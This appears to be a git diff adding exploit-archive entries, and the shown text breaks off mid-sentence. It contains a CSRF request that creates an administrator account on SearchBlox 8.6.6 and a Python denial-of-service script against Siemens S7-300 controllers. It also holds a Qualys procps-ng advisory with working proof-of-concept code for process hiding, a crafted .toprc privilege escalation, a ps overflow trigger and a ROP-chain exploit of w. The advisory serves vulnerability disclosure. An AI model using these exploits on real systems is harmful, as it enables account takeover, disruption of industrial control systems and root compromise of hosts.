diff --git a/exploits/java/webapps/44801.txt b/exploits/java/webapps/44801.txt new file mode 100644 index 000000000..4e0fc8650 --- /dev/null +++ b/exploits/java/webapps/44801.txt @@ -0,0 +1,48 @@ +# Exploit Title: CSRF Privilege Escalation (Creation of an administrator +account) on SearchBlox 8.6.6 +# Exploit Author: Canberk BOLAT, Ahmet GÜREL +# Software Link: https://www.searchblox.com/ +# Version: < = SearchBlox Version 8.6.6 +# Platform: Java +# Tested on: Windows +# CVE: CVE-2018-11538 + +# 1. DETAILS + +Using Cross-Site Request Forgery (CSRF), an attacker can force a user who +is currently authenticated with a web application to execute an unwanted +action. The attacker can trick the user into loading a page which may send +a request to perform the unwanted action in the background. In the case of +Searchblox, we can use CSRF to perform actions on the admin dashboard by +targeting an administrator. + +# 2. PoC: + +We assume that Searchblox is installed at http://localhost:8080/. Our +target is /searchblox/servlet/UserServlet u_name, u_passwd1, u_passwd2 and +role parameter which is the page used to create a new user. The given POC +will create a user on the website which has full administrator privileges. + +HTTP Request: + +GET +/searchblox/servlet/UserServlet?u_name=best1&u_passwd1=test&u_passwd2=test&role=admin&new-group=&menu1=adm&menu2=db&action=addBuisnessUser +HTTP/1.1 +Host: localhost:8080 +User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) +Gecko/20100101 Firefox/59.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Referer: http://localhost:8080/searchblox/admin/main.jsp?menu1=adm +Content-Type: application/x-www-form-urlencoded +Content-Length: 0 +Cookie: JSESSIONID=touluja8tpjc1iiwquoyiigfi; +Connection: close +Upgrade-Insecure-Requests: 1 + +Attack Vector: + + \ No newline at end of file diff --git a/exploits/linux/dos/44802.py b/exploits/linux/dos/44802.py new file mode 100755 index 000000000..bff2d1355 --- /dev/null +++ b/exploits/linux/dos/44802.py @@ -0,0 +1,21 @@ +# Exploit Title: Siemens SIMATIC S7-300 CPU - Remote Denial Of Service +# Google Dork: inurl:/Portal/Portal.mwsl +# Date: 2018-05-30 +# Exploit Author: t4rkd3vilz +# Vendor Homepage: https://www.siemens.com/ +# Version: SIMATIC S7-300 CPU family: all versions. +# Tested on: Kali Linux +# CVE: CVE-2015-2177 + +#!/usr/bin/python +import socket + +target_address="TargetIP" +target_port=80 + +buffer = "GET " + "\x42" * 2220 + " HTTP/1.1\r\n\r\n" + +sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) +connect=sock.connect((target_address,target_port)) +sock.send(buffer) +sock.close() \ No newline at end of file diff --git a/exploits/linux/local/44806.txt b/exploits/linux/local/44806.txt new file mode 100644 index 000000000..ab772afd2 --- /dev/null +++ b/exploits/linux/local/44806.txt @@ -0,0 +1,2178 @@ +Qualys Security Advisory + +Procps-ng Audit Report + + +======================================================================== +Contents +======================================================================== + +Summary +1. FUSE-backed /proc/PID/cmdline +2. Unprivileged process hiding +3. Local Privilege Escalation in top (Low Impact) +4. Denial of Service in ps +5. Local Privilege Escalation in libprocps (High Impact) + 5.1. Vulnerability + 5.2. Exploitation + 5.3. Exploitation details + 5.4. Non-PIE exploitation + 5.5. PIE exploitation +Acknowledgments +Patches.tar.gz.b64 + + +======================================================================== +Summary +======================================================================== + +We performed a complete audit of procps-ng, the "command line and full +screen utilities for browsing procfs, a 'pseudo' file system dynamically +generated by the [Linux] kernel to provide information about the status +of entries in its process table" (https://gitlab.com/procps-ng/procps). +procps-ng contains the utilities free, kill, pgrep, pidof, pkill, pmap, +ps, pwdx, skill, slabtop, snice, sysctl, tload, top, uptime, vmstat, w, +watch, and the necessary libprocps library. + +We discovered and submitted patches for more than a hundred bugs and +vulnerabilities in procps-ng; for reference, our patches are available +at: + +https://www.qualys.com/2018/05/17/procps-ng-audit-report-patches.tar.gz + +and base64-encoded at the end of this advisory. In the remainder of this +advisory, we present our most interesting findings: + +1. FUSE-backed /proc/PID/cmdline (CVE-2018-1120) + + An attacker can block any read() access to /proc/PID/cmdline by + mmap()ing a FUSE file (Filesystem in Userspace) onto this process's + command-line arguments. The attacker can therefore block pgrep, pidof, + pkill, ps, and w, either forever (a denial of service), or for some + controlled time (a synchronization tool for exploiting other + vulnerabilities). + +2. Unprivileged process hiding (CVE-2018-1121) + + An unprivileged attacker can hide a process from procps-ng's + utilities, by exploiting either a denial of service (a rather noisy + method) or a race condition inherent in reading /proc/PID entries (a + stealthier method). + +3. Local Privilege Escalation in top (CVE-2018-1122) + + top reads its configuration file from the current working directory, + without any security check, if the HOME environment variable is unset + or empty. In this very unlikely scenario, an attacker can carry out an + LPE (Local Privilege Escalation) if an administrator executes top in + /tmp (for example), by exploiting one of several vulnerabilities in + top's config_file() function. + +4. Denial of Service in ps (CVE-2018-1123) + + An attacker can overflow the output buffer of ps, when executed by + another user, administrator, or script: a denial of service only (not + an LPE), because ps mmap()s its output buffer and mprotect()s its last + page with PROT_NONE (an effective guard page). + +5. Local Privilege Escalation in libprocps (CVE-2018-1124) + + An attacker can exploit an integer overflow in libprocps's + file2strvec() function and carry out an LPE when another user, + administrator, or script executes a vulnerable utility (pgrep, pidof, + pkill, and w are vulnerable by default; other utilities are vulnerable + if executed with non-default options). Moreover, an attacker's process + running inside a container can trigger this vulnerability in a utility + running outside the container: the attacker can exploit this userland + vulnerability and break out of the container or chroot. We will + publish our proof-of-concept exploits in the near future. + +Additionally, CVE-2018-1125 has been assigned to +0008-pgrep-Prevent-a-potential-stack-based-buffer-overflo.patch, and +CVE-2018-1126 to 0035-proc-alloc.-Use-size_t-not-unsigned-int.patch. + + +======================================================================== +1. FUSE-backed /proc/PID/cmdline (CVE-2018-1120) +======================================================================== + +In this experiment, we add a sleep(60) to hello_read() in +https://github.com/libfuse/libfuse/blob/master/example/hello.c and +compile it, mount it on /tmp/fuse, and mmap() /tmp/fuse/hello onto the +command-line arguments of a simple proof-of-concept: + +$ gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello +$ mkdir /tmp/fuse +$ ./hello /tmp/fuse + +$ cat > fuse-backed-cmdline.c << "EOF" +#include +#include +#include +#include +#include +#include +#include +#include + +#define die() do { \ + fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ + exit(EXIT_FAILURE); \ +} while (0) + +#define PAGESZ ((size_t)4096) + +int +main(const int argc, const char * const argv[]) +{ + if (argc <= 0) die(); + const char * const arg_start = argv[0]; + const char * const last_arg = argv[argc-1]; + const char * const arg_end = last_arg + strlen(last_arg) + 1; + + if (arg_end <= arg_start) die(); + const size_t len = arg_end - arg_start; + if (len < 2 * PAGESZ) die(); + + char * const addr = (char *)(((size_t)arg_start + PAGESZ-1) & ~(PAGESZ-1)); + if (addr < arg_start) die(); + if (addr + PAGESZ > arg_end) die(); + + const int fd = open("/tmp/fuse/hello", O_RDONLY); + if (fd <= -1) die(); + if (mmap(addr, PAGESZ, PROT_READ, MAP_PRIVATE | MAP_FIXED, fd, 0) != addr) die(); + if (close(fd)) die(); + + for (; { + sleep(1); + } + die(); +} +EOF +$ gcc -Wall fuse-backed-cmdline.c -o fuse-backed-cmdline +$ ./fuse-backed-cmdline `perl -e 'print "A" x 8192'` + +Then, if root executes ps (for example): + +# time ps ax + PID TTY STAT TIME COMMAND +... +real 1m0.021s +user 0m0.003s +sys 0m0.017s + + +======================================================================== +2. Unprivileged process hiding (CVE-2018-1121) +======================================================================== + +Several procps-ng utilities (pgrep, pidof, pkill, ps, w) read the +/proc/PID/cmdline of every process running on the system; hence, an +unprivileged attacker can hide a process (albeit noisily) by exploiting +a denial of service in procps-ng (for example, the FUSE-backed denial of +service, or one of the integer overflows in file2strvec()). + +Alternatively, we devised a stealthier method for hiding a process: + +1/ fork() our process until it occupies the last PID +(/proc/sys/kernel/pid_max - 1) or one of the last PIDs; + +2/ monitor (with inotify) the /proc directory and the /proc/PID/stat +file of one of the very first PIDs, for IN_OPEN events (opendir() and +open()); + +3/ when these events occur (when a procps-ng utility starts scanning +/proc for /proc/PID entries), fork() our process until its PID wraps +around and occupies one of the very first PIDs; + +4/ monitor (with inotify) the /proc directory for an IN_CLOSE_NOWRITE +event (closedir()); + +5/ when this event occurs (when the procps-ng utility stops scanning +/proc), go back to 1/. + +This simple method works, because the kernel's proc_pid_readdir() +function returns the /proc/PID entries in ascending numerical order. +Moreover, this race condition can be made deterministic by using a +FUSE-backed /proc/PID/cmdline as a synchronization tool. + +$ cat > unprivileged-process-hiding.c << "EOF" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define die() do { \ + fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ + exit(EXIT_FAILURE); \ +} while (0) + +int +main(void) +{ + for (; { + char lost[64]; + { + const pid_t hi = getpid(); + pid_t lo = fork(); + if (lo <= -1) die(); + if (!lo) { /* child */ + lo = getpid(); + if (lo < hi) exit(EXIT_SUCCESS); /* parent continues */ + for (; { + if (kill(hi, 0) != -1) continue; + if (errno != ESRCH) die(); + break; + } + continue; + } + /* parent */ + if (lo > hi) exit(EXIT_FAILURE); /* child continues */ + int status = 0; + if (waitpid(lo, &status, 0) != lo) die(); + if (!WIFEXITED(status)) die(); + if (WEXITSTATUS(status) != EXIT_SUCCESS) die(); + + printf("%d -> %d -> ", hi, lo); + for (; { + struct stat st; + if (--lo <= 0) die(); + snprintf(lost, sizeof(lost), "/proc/%d/stat", lo); + if (stat(lost, &st) == 0) break; + } + printf("%d\n", lo); + } + + const int pofd = inotify_init(); + if (pofd <= -1) die(); + if (inotify_add_watch(pofd, "/proc", IN_OPEN) <= -1) die(); + + const int lofd = inotify_init(); + if (lofd <= -1) die(); + if (inotify_add_watch(lofd, lost, IN_OPEN) <= -1) die(); + + const int pcfd = inotify_init(); + if (pcfd <= -1) die(); + if (inotify_add_watch(pcfd, "/proc", IN_CLOSE_NOWRITE) <= -1) die(); + + char buf[sizeof(struct inotify_event) + NAME_MAX + 1]; + const struct inotify_event * const evp = (void *)buf; + + for (; { + if (read(pofd, buf, sizeof(buf)) < (ssize_t)sizeof(*evp)) die(); + if (evp->mask & IN_ISDIR) break; + } + + if (read(lofd, buf, sizeof(buf)) < (ssize_t)sizeof(*evp)) die(); + for (; { + const pid_t hi = getpid(); + pid_t lo = fork(); + if (lo <= -1) die(); + if (lo) exit(EXIT_SUCCESS); /* parent */ + /* child */ + lo = getpid(); + if (lo < hi) { + printf("%d -> %d\n", hi, lo); + break; + } + } + + for (; { + if (read(pcfd, buf, sizeof(buf)) < (ssize_t)sizeof(*evp)) die(); + if (evp->mask & IN_ISDIR) break; + } + + if (close(pofd)) die(); + if (close(lofd)) die(); + if (close(pcfd)) die(); + } + die(); +} +EOF +$ gcc -Wall unprivileged-process-hiding.c -o unprivileged-process-hiding +$ ./unprivileged-process-hiding + +Then, if root executes ps (for example): + +# ps ax | grep '[u]nprivileged-process-hiding' | wc + 0 0 0 + + +======================================================================== +3. Local Privilege Escalation in top (CVE-2018-1122) +======================================================================== + +If a/ an administrator executes top in a directory writable by an +attacker and b/ the HOME environment variable is unset or empty, then +top reads its configuration file from the current working directory, +without any security check: + +3829 static void configs_read (void) { +.... +3847 p_home = getenv("HOME"); +3848 if (!p_home || p_home[0] == '\0') +3849 p_home = "."; +3850 snprintf(Rc_name, sizeof(Rc_name), "%s/.%src", p_home, Myname); +3851 +3852 if (!(fp = fopen(Rc_name, "r"))) { +.... +3865 if (fp) { +3866 p = config_file(fp, Rc_name, &tmp_delay); + +Although b/ is very unlikely, we developed a simple command-line method +for exploiting one of the vulnerabilities in config_file(), when top is +not a PIE (Position-Independent Executable). For example, on Ubuntu +16.04.4: + +$ file /usr/bin/top +/usr/bin/top: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e64fe2c89ff07ca4ce5d169078586d2854628a29, stripped + +First, we dump a clean configuration file to /tmp/.toprc, by running top +and pressing the 'W' key: + +$ cd /tmp +$ env -u HOME top +W +q + +Second, we add an arbitrary "inspect" command to this configuration file +(inspect commands are normally executed when the user presses the 'Y' +key): + +$ echo -e 'pipe\tname\tid>>/tmp/top.%d.%lx' >> .toprc + +To execute our inspect command without user interaction, we will emulate +the 'Y' key by jumping directly into inspection_utility(), at 0x40a989 +(the fflush(stdout) is INSP_BUSY's last instruction): + +3442 static void inspection_utility (int pid) { +.... +3496 case kbd_ENTER: +3497 INSP_BUSY; +3498 Insp_sel = &Inspect.tab[sel]; +3499 Inspect.tab[sel].func(Inspect.tab[sel].fmts, pid); + + 40a97d: 48 8b 3d 1c f8 20 00 mov 0x20f81c(%rip),%rdi # 61a1a0 + 40a984: e8 67 7f ff ff callq 4028f0 + 40a989: 48 63 05 2c f9 20 00 movslq 0x20f92c(%rip),%rax # 61a2bc + 40a990: 8b 74 24 74 mov 0x74(%rsp),%esi + 40a994: 48 c1 e0 06 shl $0x6,%rax + 40a998: 48 03 05 61 11 23 00 add 0x231161(%rip),%rax # 63bb00 + 40a99f: 48 89 05 12 11 23 00 mov %rax,0x231112(%rip) # 63bab8 + 40a9a6: 48 8b 78 18 mov 0x18(%rax),%rdi + 40a9aa: ff 10 callq *(%rax) + 40a9ac: 5b pop %rbx + +To jump directly into inspection_utility(), we will take control of +top's execution flow, by exploiting a vulnerability in config_file(). +"sortindx" is read from the configuration file without any sanity check, +and is later used by window_show() to access a struct FLD_t which +contains a function pointer "sort": + +5876 static int window_show (WIN_t *q, int wmax) { +.... +5894 qsort(q->ppt, Frame_maxtask, sizeof(proc_t*), Fieldstab[q->rc.sortindx].sort); + + 40de01: ba 08 00 00 00 mov $0x8,%edx + 40de06: 48 c1 e0 05 shl $0x5,%rax + 40de0a: 48 8b 88 30 99 61 00 mov 0x619930(%rax),%rcx + 40de11: e8 7a 47 ff ff callq 402590 + +To take control of this function pointer, we will write 0x40a989's LSW +(Least Significant Word, 32 bits) into "graph_mems" and 0x40a989's MSW +(Most Significant Word, 32 bits) into "summclr", which are read from the +configuration file and written to 0x63ed30 (and 0x63ed34), a memory +location accessible by 0x619930+(sortindx<<0x5): + +3676 static const char *config_file (FILE *fp, const char *name, float *delay) { +.... +3710 if (3 > fscanf(fp, "\twinflags=%d, sortindx=%d, maxtasks=%d, graph_cpus=%d, graph_mems=%d\n" +3711 , &w->rc.winflags, &w->rc.sortindx, &w->rc.maxtasks, &w->rc.graph_cpus, &w->rc.graph_mems)) +3712 return p; +3713 if (4 != fscanf(fp, "\tsummclr=%d, msgsclr=%d, headclr=%d, taskclr=%d\n" +3714 , &w->rc.summclr, &w->rc.msgsclr +3715 , &w->rc.headclr, &w->rc.taskclr)) +3716 return p; + + 406f90: 4d 8d b5 30 ed 63 00 lea 0x63ed30(%r13),%r14 + ....... + 406fa9: 41 56 push %r14 + ....... + 406fb3: e8 d8 b7 ff ff callq 402790 + ....... + 406fca: 49 8d 95 34 ed 63 00 lea 0x63ed34(%r13),%rdx + ....... + 406fe5: e8 a6 b7 ff ff callq 402790 + +Next, we modify the configuration file's "graph_mems", "summclr", and +"sortindx" accordingly: + +$ sed -i s/'graph_mems=[0-9]*'/graph_mems=$((0x40a989))/ .toprc + +$ sed -i s/'summclr=[0-9]*'/summclr=0/ .toprc + +$ sed -i s/'sortindx=[0-9]*'/sortindx=$(((0x63ed30-0x619930)>>0x5))/ .toprc + +Last, we turn off the View_MEMORY bit in the configuration file's +"winflags", to prevent summary_show() from crashing because of our +out-of-bounds "graph_mems": + +314 #define View_MEMORY 0x001000 // 'm' - display memory summary + +5418 static void summary_show (void) { +.... +5499 if (isROOM(View_MEMORY, 2)) { +.... +5540 if (w->rc.graph_mems) { +.... +5559 ix = w->rc.graph_mems - 1; +.... +5572 snprintf(util, sizeof(util), gtab[ix].swap, (int)((pct_swap * Graph_adj) + .5), gtab[ix].type); + +$ winflags=`grep -m 1 winflags= .toprc | sed s/'.*winflags=\([0-9]*\).*'/'\1'/` +$ sed -i s/'winflags=[0-9]*'/winflags=$((winflags&~0x001000))/ .toprc + +Then, if an administrator executes top in /tmp, without a HOME +environment variable (or with an empty HOME environment variable): + +# cat /tmp/top.* +cat: '/tmp/top.*': No such file or directory + +# cd /tmp +# env -u HOME top +... + signal 11 (SEGV) was caught by top, please + see http://www.debian.org/Bugs/Reporting +Segmentation fault (core dumped) + +# cat /tmp/top.* +uid=0(root) gid=0(root) groups=0(root) + + +======================================================================== +4. Denial of Service in ps (CVE-2018-1123) +======================================================================== + +ps's functions pr_args(), pr_comm(), and pr_fname() are vulnerable to an +mmap-based buffer overflow of outbuf (ps's output buffer): + + 401 static int pr_args(char *restrict const outbuf, const proc_t *restrict const pp){ + 402 char *endp = outbuf; + 403 int rightward = max_rightward; + 404 int fh = forest_helper(outbuf); + 405 + 406 endp += fh; + 407 rightward -= fh; + 408 + 409 if(pp->cmdline && !bsd_c_option) + 410 endp += escaped_copy(endp, *pp->cmdline, OUTBUF_SIZE, &rightward); + 411 else + 412 endp += escape_command(endp, pp, OUTBUF_SIZE, &rightward, ESC_DEFUNCT); + 413 + 414 if(bsd_e_option && rightward>1) { + 415 if(pp->environ && *pp->environ) { + 416 *endp++ = ' '; + 417 rightward--; + 418 endp += escape_strlist(endp, pp->environ, OUTBUF_SIZE, &rightward); + 419 } + 420 } + 421 return max_rightward-rightward; + 422 } + +The number of bytes written to endp by the escape*() functions is added +to endp (a pointer into outbuf), but never subtracted from OUTBUF_SIZE. +Normally "rightward" prevents this buffer overflow, because the maximum +number of "cells" written to outbuf is OUTBUF_SIZE, and is equal to the +number of "bytes" written to outbuf; but not in escape_str_utf8(): + + 36 static int escape_str_utf8(char *restrict dst, const char *restrict src, int bufsize, int *maxcells){ + .. + 50 if (!(len = mbrtowc (&wc, src, MB_CUR_MAX, &s))) + .. + 78 int wlen = wcwidth(wc); + .. +100 memcpy(dst, src, len); +101 my_cells += wlen; +102 dst += len; +103 my_bytes += len; +104 src += len; + +For example, in the "en_US.UTF-8" locale, the multibyte sequence +"\xf4\x81\x8e\xb6" consumes 4 bytes, but only 1 cell, and an easy +trigger for one of the outbuf overflows is: + +$ (A=`python -c 'print "\xf4\x81\x8e\xb6" * 32767'` exec -a `python -c 'print "A" * 65535'` sleep 60) & +[1] 2670 + +# env LANG=en_US.UTF-8 ps awwe + PID TTY STAT TIME COMMAND +... +Signal 11 (SEGV) caught by ps (procps-ng version 3.3.10). + 2670 pts/0 S 0:00ps:display.c:66: please report this bug +Segmentation fault + +This buffer overflow is a denial of service only (not an LPE), because +ps mmap()s outbuf and mprotect()s its last page with PROT_NONE (an +effective guard page): + +2147 void init_output(void){ +.... +2164 outbuf = mmap( +2165 0, +2166 page_size * (outbuf_pages+1), // 1 more, for guard page at high addresses +2167 PROT_READ | PROT_WRITE, +2168 MAP_PRIVATE | MAP_ANONYMOUS, +2169 -1, +2170 0 +2171 ); +.... +2174 mprotect(outbuf + page_size*outbuf_pages, page_size, PROT_NONE); // guard page + + +======================================================================== +5. Local Privilege Escalation in libprocps (CVE-2018-1124) +======================================================================== + +======================================================================== +5.1. Vulnerability +======================================================================== + +libprocps's file2strvec() function parses a process's /proc/PID/cmdline +(or /proc/PID/environ), and creates an in-memory copy of this process's +argv[] (command-line argument strings, and pointers to these strings). +file2strvec() is called when either PROC_FILLCOM or PROC_FILLARG, but +not PROC_EDITCMDLCVT, is passed to openproc() or readproctab() (or +PROC_FILLENV but not PROC_EDITENVRCVT). + +file2strvec() is vulnerable to three integer overflows (of "tot", "c", +and "tot + c + align"): + + 660 static char** file2strvec(const char* directory, const char* what) { + 661 char buf[2048]; /* read buf bytes at a time */ + 662 char *p, *rbuf = 0, *endbuf, **q, **ret; + 663 int fd, tot = 0, n, c, end_of_file = 0; + 664 int align; + ... + 670 /* read whole file into a memory buffer, allocating as we go */ + 671 while ((n = read(fd, buf, sizeof buf - 1)) >= 0) { + ... + 686 rbuf = xrealloc(rbuf, tot + n); /* allocate more memory */ + 687 memcpy(rbuf + tot, buf, n); /* copy buffer into it */ + 688 tot += n; /* increment total byte ctr */ + ... + 697 endbuf = rbuf + tot; /* count space for pointers */ + 698 align = (sizeof(char*)-1) - ((tot + sizeof(char*)-1) & (sizeof(char*)-1)); + 699 for (c = 0, p = rbuf; p < endbuf; p++) { + 700 if (!*p || *p == '\n') + 701 c += sizeof(char*); + ... + 705 c += sizeof(char*); /* one extra for NULL term */ + 706 + 707 rbuf = xrealloc(rbuf, tot + c + align); /* make room for ptrs AT END */ + +To the best of our knowledge, the integer overflows of "c" and "tot + c ++ align" are not exploitable beyond a denial of service: they result in +an mmap-based buffer overflow of rbuf, but with pointers only (pointers +to our command-line argument strings, and a NULL terminator). Similarly, +we were unable to exploit the integer overflow of "tot" on 32-bit. + +On 64-bit, however, the integer overflow of "tot" results in a memcpy() +of arbitrary bytes (our command-line arguments) to an offset of roughly +-2GB below rbuf. Surprisingly, the "xrealloc(rbuf, tot + n)" before the +memcpy() does not exit() when "tot" becomes negative, because xrealloc() +incorrectly uses an "unsigned int size" argument instead of a size_t +(CVE-2018-1126): + + 66 void *xrealloc(void *oldp, unsigned int size) { + +======================================================================== +5.2. Exploitation +======================================================================== + +To exploit the integer overflow of "tot" on 64-bit, we are faced with +several difficulties: + +- We must defeat NX, ASLR, PIE, full RELRO, SSP (Stack-Smashing + Protector), and FORTIFY. + +- Our exploit must be one-shot, or as close to one-shot as possible: we + may use brute-force if the target procps-ng utility is executed by a + script, but we have only one chance to exploit this vulnerability if + the target utility is executed manually by an administrator. + +- We have no control over the target utility's command-line arguments, + environment variables, or resource limits (it is executed by another + user, administrator, or script), and we have no direct channel for an + information leak (we have no access to the target utility's output, + for example). + +- We were unable to exploit the integer overflow of "tot" when rbuf is + mmap()ed (but we were also unable to prove that it is unexploitable); + when the integer "tot" overflows, rbuf is an mmap()ed chunk (its size + is roughly 2GB), and because Linux's mmap() is a top-down allocator, + we believe that: + + . rbuf must be allocated in a hole of the mmap-space (to survive the + memcpy() at a negative offset below rbuf); + + . it is impossible to make such a large hole (in procps-ng, calls to + the malloc functions are extremely rare). + +Despite these difficulties, we developed proof-of-concept exploits +against the procps-ng utility "w" on Ubuntu 16.04 (a one-shot exploit +against a partial RELRO, non-PIE w), Debian 9 and Fedora 27 (a nearly +one-shot exploit against a full RELRO, PIE w): if we first force "w" to +malloc()ate n_mmaps_max = 64K mmap()ed chunks (whose size is larger than +mmap_threshold = 128KB), then malloc() will not call mmap() anymore, but +will call brk() instead, even for chunks larger than mmap_threshold. The +2GB rbuf (after the integer overflow of tot) will therefore be allocated +on the heap by brk(), and because brk() is a bottom-up allocator, we can +easily arrange for the memcpy() at rbuf - 2GB to overwrite the beginning +of the heap: + +- if w is not a PIE, we overwrite libprocps's internal PROCTAB structure + and its function pointers; + +- if w is a PIE, we overwrite the glibc's internal *gettext() structures + and transform this memory corruption into a format-string exploit. + +To force 64K allocations of 128KB (8GB) in w, we need 64K distinct PIDs +(each /proc/PID/cmdline allocates 128KB in file2strvec()): consequently, +/proc/sys/kernel/pid_max must be greater than 64K (it is 32K by default, +even on 64-bit). This is not an unusual setting: large servers (database +servers, container and storage platforms) commonly increase the value of +pid_max (up to 4M on 64-bit). Besides pid_max, other settings may limit +our ability to spawn 64K processes: /proc/sys/kernel/threads-max, +RLIMIT_NPROC, and systemd-logind's UserTasksMax. Unlike pid_max, +however, these limits are not insuperable obstacles: + +- they may be naturally greater than 64K, depending on the total number + of RAM pages (for /proc/sys/kernel/threads-max and RLIMIT_NPROC) or + the value of pid_max (for UserTasksMax); + +- they may not apply to the attacker's user account (for example, + systemd-logind may not at all manage this specific user account); + +- in any case, we do not need to spawn 64K concurrent processes: if we + use /proc/PID/cmdline as a FUSE-backed synchronization tool, we need + only a few concurrent processes. + +======================================================================== +5.3. Exploitation details +======================================================================== + +Our proof-of-concept exploit spawns five different types of processes +("main", "mmap", "dist", "wrap", and "srpt"): + +- a long-lived "main" process, which spawns and coordinates the other + processes; + +- 64K long-lived "mmap" processes, which guarantee that the ~2GB rbufs + of our "dist" and "wrap" processes are allocated by brk() in the heap + of our future "w" target; the "mmap" processes occupy the lowest PIDs + available, to avoid interference from other processes with the heap + layout of w; + +- a long-lived "dist" ("distance") process, whose /proc/PID/cmdline is + carefully constructed to cover the exact distance between our target + structure (at the beginning of w's heap) and the rbuf of our "wrap" + process (at the end of w's heap); + +- a long-lived "wrap" ("integer wrap") process, which overflows the + integer "tot" and overwrites our target structure at the beginning of + w's heap (with the memcpy() at rbuf - 2GB); + +- short-lived "srpt" ("simulate readproctab") processes, which measure + the exact distance between our target structure (at the beginning of + w's heap) and the rbuf of our "wrap" process (at the end of w's heap); + because this distance depends on an accurate list of processes running + on the system, our exploit regularly spawns "srpt" processes until the + distance stabilizes (it is particularly unstable after a reboot). + +We use a few noteworthy tricks in this exploit: + +- we do not fork() but clone() the "mmap" processes (we use the flags + CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SYSVSEM | CLONE_SIGHAND, but + not CLONE_THREAD, because each process must have its own /proc/PID + entry): this is much faster, and significantly reduces the memory + consumption of our exploit (the target "w" process itself already + consumes over 12GB = 64K*128KB + 2GB + 2GB -- the rbufs for the + "mmap", "dist", and "wrap" processes); + +- we analyze the ~2GB command-line argument strings of our "dist" and + "wrap" processes, to detect repeated patterns and replace them with + our equivalent file-backed mmap()s (this further reduces the memory + consumption of the exploit); moreover, we replace the argv[] pointers + of these processes with PROT_NONE mmap()s (hundreds of megabytes that + are never accessed); + +- we initially simulated readproctab() with our own exploit code, but + eventually switched to a small LD_PRELOAD library that instruments the + real "w" utility and provides more accurate measurements. + +There is much room for improvement in this proof-of-concept exploit: for +example, it depends on the exact distance between our target structure +(at the beginning of w's heap) and the rbuf of our "wrap" process (at +the end of w's heap), but this distance is hard to measure inside a +container, because processes running outside the container are not +visible inside the container (brute-force may be a solution if the +target utility is executed by a script, but not if it is executed +manually by an administrator; better solutions may exist). + +======================================================================== +5.4. Non-PIE exploitation +======================================================================== + +In this section, we describe our simplest proof-of-concept exploit, +against the non-PIE "w" on Ubuntu 16.04: we overflow the integer "tot" +in file2strvec(), we overwrite the PROCTAB structure and its function +pointers, and we jump into the executable segment of w. However, w is +very small and contains no useful gadgets, syscall instructions, or +library calls. Instead, we use a technique pioneered by Nergal in +http://phrack.org/issues/58/4.html ("5 - The dynamic linker's +dl-resolve() function"): + +We jump to the very beginning of w's PLT (Procedure Linkage Table), +which calls _dl_runtime_resolve() and _dl_fixup() with a "reloc_arg" +that we control (it is read from the stack) and that indexes our own +fake Elf64_Rela structure (in w's heap), which in turn indexes a fake +Elf64_Sym structure, which in turn indexes a string that we control and +that allows us to call any library function, by name (even if it does +not appear in w's PLT). The obvious choice here is the "system" +function: + +- the RDI register (the first argument of the function pointer that we + overwrote, and hence the command argument of system()) points to the + PROCTAB structure, whose contents we control; + +- we do not need to worry about the privilege dropping of /bin/sh, + because w is not a set-user-ID executable. + +Finally, we must solve two practical problems to use this dynamic-linker +technique against w: + +- our fake ELF structures are located in the heap, but indexed from the + executable, and a random gap separates the heap from the executable: + we therefore allocate four large areas in the heap (large enough to + defeat the randomization of the heap), one for each of our fake + structures (Elf64_Rela, Elf64_Sym, "system", and ndx for symbol + versioning); + +- malloc guarantees a 16-byte alignment, but Elf64_Rela and Elf64_Sym + are 24-byte structures: luckily, the last 8 bytes of these structures + are unused, and we therefore truncate our fake structures to 16 bytes. + +For example, on Ubuntu 16.04.4, we overwrite the PROCTAB structure with +the following ROP chain: + + procfs taskdir tdu df finder reader tfinder +|--------|--------|----+---|--------|--------|--------|------|--------|--------| +| id>>/tmp/w.$$ |000|0x4020bb|0x4029db|0x401100| .... |relocarg|0x402a50| +|--------|--------|----+---|--------|--------|--------|------|--------|--------| + 0xffb8 bytes + +- the first gadget that we execute, 0x4020bb, pivots the stack pointer + to RDI (which points to the very beginning of the PROCTAB structure): + "push rdi; ...; pop rsp; pop r13; pop r14; pop r15; pop rbp; ret;" + +- the second gadget that we execute, 0x4029db, increases the stack + pointer by 0xffb8 bytes (it would otherwise crash into the beginning + of the heap, because the stack grows down): "ret 0xffb8;" + +- the third gadget that we execute, 0x401100, calls + _dl_runtime_resolve() and _dl_fixup() with our own "relocarg" (this + effectively calls system() with the command located at RDI, + "id>>/tmp/w.$$"): + + 401100: ff 35 02 2f 20 00 pushq 0x202f02(%rip) + 401106: ff 25 04 2f 20 00 jmpq *0x202f04(%rip) + +- the fourth gadget that we execute, 0x402a50, makes a clean exit: + + 402a50: bf 01 00 00 00 mov $0x1,%edi + 402a55: e8 36 e7 ff ff callq 401190 <_exit@plt> + +$ ./w-exploit-Non-PIE +positive_tot 2147482113 +distance_tot 2147482112 +distance 12024752 +... +distance 12024752 +off 279917264 +ver_beg 2e26ce0 ver_end 5426ce0 +rel_beg 15f19fb0 rel_end 18519fb0 +str_beg 2900d280 str_end 2b60d280 +sym_beg 3c100570 sym_end 3e700570 +reloc_arg 16957128 +nentries 5 +POSITIVE_TOT 2147482113 +DISTANCE_TO_PT 1 +negwrite_off 2147485183 +nentries 1 +ready + +Then, if an administrator executes w: + +# cat /tmp/w.* +cat: '/tmp/w.*': No such file or directory + +# w + +# cat /tmp/w.* +uid=0(root) gid=0(root) groups=0(root) + +======================================================================== +5.5. PIE exploitation +======================================================================== + +In this section, we describe our proof-of-concept exploit against the +PIE "w" on Debian 9 and Fedora 27. The first technique that we tried, a +partial overwrite of a function pointer in the PROCTAB structure, does +not work: + +- we are limited to a 2-byte overwrite, or else we lose the "one-shot" + quality of our exploit (we must brute-force the random bits that we + overwrite); + +- the original function pointer refers to a piece of code in libprocps + that offers a very limited choice of gadgets; + +- file2strvec() ends our command-line argument strings (which overwrite + the function pointer) with a null byte, and further 